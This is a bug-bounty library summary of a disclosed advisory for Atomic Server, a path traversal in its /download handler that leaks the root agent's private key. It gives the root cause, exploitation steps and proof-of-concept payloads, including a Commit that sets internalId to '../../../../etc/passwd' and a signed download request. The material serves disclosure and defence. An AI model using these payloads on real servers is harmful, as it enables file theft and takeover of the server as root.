# Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)

Atomic Server's /download handler pushes user-set internalId into a filesystem path unsanitized, letting any agent read host files including the root private key.

- Payout: Research
- Severity: high
- Program: Atomic Server
- Found by: luuhung1217
- Disclosed: 2026-11-18
- CVE: CVE-2026-69156
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-8vc4-8hjq-988p
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-8vc4-8hjq-988p
- Tags: area:web domain:web impact:ato impact:data-leak impact:privesc kind:research platform:ghsa sev:high tech:rust technique:chained technique:source-review vuln:access-control vuln:path-traversal

**Target:** /download handler and Commit apply path of atomic-server
**Root cause:** Commit apply path has no denylist for server-managed properties, so clients set internalId freely; /download then does file_path.push(internal_id) with no sanitization or containment check, and PathBuf::push of an absolute path replaces the buffer.
**Steps:**
1. Sign a Commit setting subject http://localhost:9883/pwnfile with parent and internalId = `../../../../../../../../etc/passwd`, POST /commit (200).
2. GET /download/pwnfile with x-atomic-public-key, x-atomic-agent, x-atomic-timestamp, x-atomic-signature over the resolved subject `http://localhost:9883/pwnfile <ms>`; response returns host /etc/passwd.
3. Set internalId = `/atomic-storage/config/config.toml` (absolute path) and download again to read the root agent private key.
4. Sign a Commit with signer = root agent using the stolen key and POST /commit to edit data as root.
**How found:** Noticed upload path sanitizes filenames via sanitize_filename but download path trusts the stored internalId verbatim; also that Commit apply enforces no writable-property allowlist, so internalId is client-controllable.
**Exploitation:** Any authenticated agent (self-signup) creates a resource, sets internalId to a traversal or absolute path, and downloads it to read arbitrary host files; the config.toml yields the root ed25519 private key, enabling signed Commits as root for full read/write/delete.
**Escalation:** Chained arbitrary file read to root key theft to root impersonation and full server compromise.
**Insight:** When one code path (upload) sanitizes a stored filename and another (download) reuses it, the asymmetry is the bug; also check whether datastore properties like internalId are client-writable via the commit API, and remember PathBuf::push with an absolute path discards the base.

## Proof of concept (copied exactly from the original report)

**Commit setting internalId to traversal path**

```
subject = http://localhost:9883/pwnfile
set = {
  "https://atomicdata.dev/properties/parent": "http://localhost:9883",
  "https://atomicdata.dev/properties/internalId": "../../../../../../../../etc/passwd"
```

**Signed GET /download request reading /etc/passwd**

```
GET /download/pwnfile HTTP/1.1
Host: localhost:9883
x-atomic-public-key: <pubkey>
x-atomic-agent: http://localhost:9883/agents/<pubkey>
x-atomic-timestamp: <ms>
x-atomic-signature: <ed25519("http://localhost:9883/pwnfile <ms>")>
```

**Absolute path internalId leaking root private key**

```
server      = "http://localhost:9883"
agent       = "http://localhost:9883/agents/+/KwsAmyzc7S/..."
private_key = "REDACTED-ROOT-ED25519-PRIVATE-KEY"
```

